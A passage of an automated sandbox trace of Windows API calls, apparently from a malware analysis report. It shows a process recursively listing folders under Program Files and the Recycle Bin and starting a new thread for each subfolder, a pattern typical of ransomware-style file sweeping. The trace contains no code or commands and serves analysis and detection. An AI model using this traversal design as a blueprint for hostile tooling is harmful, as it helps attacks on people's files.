_Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*" [0085.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.612] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.612] wcscmp (_String1=".", _String2=".") returned 0 [0085.612] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.612] wcscmp (_String1="..", _String2=".") returned 1 [0085.612] wcscmp (_String1="..", _String2="..") returned 0 [0085.612] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.612] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0085.612] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0085.612] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0085.612] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783ef0) returned 1 [0085.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783cb0) returned 1 Thread: id = 97 os_tid = 0x7e8 [0085.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bfe0 [0085.619] wcscpy (in: _Dest=0x1b82bfe0, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0085.620] wcscat (in: _Dest=0x1b82bfe0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0085.620] wcscat (in: _Dest=0x1b82bfe0, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\*") returned="C:\\Program Files\\Common Files\\*" [0085.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddb09f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb09f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.620] wcscmp (_String1=".", _String2=".") returned 0 [0085.620] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddb09f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb09f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.620] wcscmp (_String1="..", _String2=".") returned 1 [0085.620] wcscmp (_String1="..", _String2="..") returned 0 [0085.620] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4007ed80, ftCreationTime.dwHighDateTime=0x1d5aa73, ftLastAccessTime.dwLowDateTime=0xdc293d50, ftLastAccessTime.dwHighDateTime=0x1d57f02, ftLastWriteTime.dwLowDateTime=0xdc293d50, ftLastWriteTime.dwHighDateTime=0x1d57f02, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accupos.exe", cAlternateFileName="")) returned 1 [0085.620] wcscmp (_String1="accupos.exe", _String2=".") returned 1 [0085.620] wcscmp (_String1="accupos.exe", _String2="..") returned 1 [0085.620] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0085.620] wcscmp (_String1="DESIGNER", _String2=".") returned 1 [0085.620] wcscmp (_String1="DESIGNER", _String2="..") returned 1 [0085.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b7ceb20 [0085.620] wcscpy (in: _Dest=0x1b7ceb20, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0085.620] wcscat (in: _Dest=0x1b7ceb20, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0085.620] wcscat (in: _Dest=0x1b7ceb20, _Source="DESIGNER" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER" [0085.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ceb20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0085.621] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0085.621] wcscmp (_String1="Microsoft Shared", _String2=".") returned 1 [0085.621] wcscmp (_String1="Microsoft Shared", _String2="..") returned 1 [0085.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1cd0 [0085.621] wcscpy (in: _Dest=0x1b7c1cd0, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0085.621] wcscat (in: _Dest=0x1b7c1cd0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0085.621] wcscat (in: _Dest=0x1b7c1cd0, _Source="Microsoft Shared" | out: _Dest="C:\\Program Files\\Common Files\\Microsoft Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared" [0085.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 [0085.621] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0085.621] wcscmp (_String1="Services", _String2=".") returned 1 [0085.621] wcscmp (_String1="Services", _String2="..") returned 1 [0085.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b7ceb80 [0085.621] wcscpy (in: _Dest=0x1b7ceb80, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0085.622] wcscat (in: _Dest=0x1b7ceb80, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0085.622] wcscat (in: _Dest=0x1b7ceb80, _Source="Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0085.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ceb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0085.622] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb82e33a0, ftCreationTime.dwHighDateTime=0x1d591c8, ftLastAccessTime.dwLowDateTime=0x3bec04a0, ftLastAccessTime.dwHighDateTime=0x1d5e4b3, ftLastWriteTime.dwLowDateTime=0x3bec04a0, ftLastWriteTime.dwHighDateTime=0x1d5e4b3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="smartftp.exe", cAlternateFileName="")) returned 1 [0085.622] wcscmp (_String1="smartftp.exe", _String2=".") returned 1 [0085.622] wcscmp (_String1="smartftp.exe", _String2="..") returned 1 [0085.622] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0085.622] wcscmp (_String1="SpeechEngines", _String2=".") returned 1 [0085.622] wcscmp (_String1="SpeechEngines", _String2="..") returned 1 [0085.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b7cebe0 [0085.622] wcscpy (in: _Dest=0x1b7cebe0, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0085.622] wcscat (in: _Dest=0x1b7cebe0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0085.622] wcscat (in: _Dest=0x1b7cebe0, _Source="SpeechEngines" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0085.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7cebe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0085.623] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0085.623] wcscmp (_String1="System", _String2=".") returned 1 [0085.623] wcscmp (_String1="System", _String2="..") returned 1 [0085.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b7cec40 [0085.623] wcscpy (in: _Dest=0x1b7cec40, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0085.623] wcscat (in: _Dest=0x1b7cec40, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0085.623] wcscat (in: _Dest=0x1b7cec40, _Source="System" | out: _Dest="C:\\Program Files\\Common Files\\System") returned="C:\\Program Files\\Common Files\\System" [0085.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cec40) returned 1 [0085.623] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0085.623] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bfe0) returned 1 [0085.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 Thread: id = 98 os_tid = 0x290 [0085.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1cd0 [0085.625] wcscpy (in: _Dest=0x1b7c1cd0, _Source="C:\\Program Files\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services" [0085.625] wcscat (in: _Dest=0x1b7c1cd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\") returned="C:\\Program Files\\Microsoft Analysis Services\\" [0085.626] wcscat (in: _Dest=0x1b7c1cd0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\*" [0085.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.626] wcscmp (_String1=".", _String2=".") returned 0 [0085.626] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.626] wcscmp (_String1="..", _String2=".") returned 1 [0085.626] wcscmp (_String1="..", _String2="..") returned 0 [0085.626] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0085.626] wcscmp (_String1="AS OLEDB", _String2=".") returned 1 [0085.626] wcscmp (_String1="AS OLEDB", _String2="..") returned 1 [0085.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79d770 [0085.626] wcscpy (in: _Dest=0x1b79d770, _Source="C:\\Program Files\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services" [0085.626] wcscat (in: _Dest=0x1b79d770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\") returned="C:\\Program Files\\Microsoft Analysis Services\\" [0085.626] wcscat (in: _Dest=0x1b79d770, _Source="AS OLEDB" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" [0085.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0085.627] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0085.627] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 [0085.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1aa0) returned 1 Thread: id = 99 os_tid = 0x79c [0085.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x17a750 [0085.633] wcscpy (in: _Dest=0x17a750, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0085.633] wcscat (in: _Dest=0x17a750, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0085.633] wcscat (in: _Dest=0x17a750, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\*") returned="C:\\Program Files\\Microsoft Office\\*" [0085.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddb300c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb300c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.633] wcscmp (_String1=".", _String2=".") returned 0 [0085.633] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddb300c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb300c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.633] wcscmp (_String1="..", _String2=".") returned 1 [0085.633] wcscmp (_String1="..", _String2="..") returned 0 [0085.633] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cafbb0, ftCreationTime.dwHighDateTime=0x1d56686, ftLastAccessTime.dwLowDateTime=0x3eacf5b0, ftLastAccessTime.dwHighDateTime=0x1d55d35, ftLastWriteTime.dwLowDateTime=0x3eacf5b0, ftLastWriteTime.dwHighDateTime=0x1d55d35, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccv_server.exe", cAlternateFileName="CCV_SE~1.EXE")) returned 1 [0085.633] wcscmp (_String1="ccv_server.exe", _String2=".") returned 1 [0085.633] wcscmp (_String1="ccv_server.exe", _String2="..") returned 1 [0085.633] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0085.633] wcscmp (_String1="CLIPART", _String2=".") returned 1 [0085.633] wcscmp (_String1="CLIPART", _String2="..") returned 1 [0085.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b7cec40 [0085.633] wcscpy (in: _Dest=0x1b7cec40, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0085.634] wcscat (in: _Dest=0x1b7cec40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0085.634] wcscat (in: _Dest=0x1b7cec40, _Source="CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0085.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7cec40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0085.634] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0085.634] wcscmp (_String1="Document Themes 14", _String2=".") returned 1 [0085.634] wcscmp (_String1="Document Themes 14", _String2="..") returned 1 [0085.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79d670 [0085.634] wcscpy (in: _Dest=0x1b79d670, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0085.634] wcscat (in: _Dest=0x1b79d670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0085.634] wcscat (in: _Dest=0x1b79d670, _Source="Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0085.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0085.635] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d6b920, ftCreationTime.dwHighDateTime=0x1d568e5, ftLastAccessTime.dwLowDateTime=0xba0a2390, ftLastAccessTime.dwHighDateTime=0x1d5e22d, ftLastWriteTime.dwLowDateTime=0xba0a2390, ftLastWriteTime.dwHighDateTime=0x1d5e22d, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fewer-brother.exe", cAlternateFileName="FEWER-~1.EXE")) returned 1 [0085.635] wcscmp (_String1="fewer-brother.exe", _String2=".") returned 1 [0085.635] wcscmp (_String1="fewer-brother.exe", _String2="..") returned 1 [0085.635] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0085.635] wcscmp (_String1="MEDIA", _String2=".") returned 1 [0085.635] wcscmp (_String1="MEDIA", _String2="..") returned 1 [0085.635] RtlAllocateHeap (HeapHandle=0xa0000, 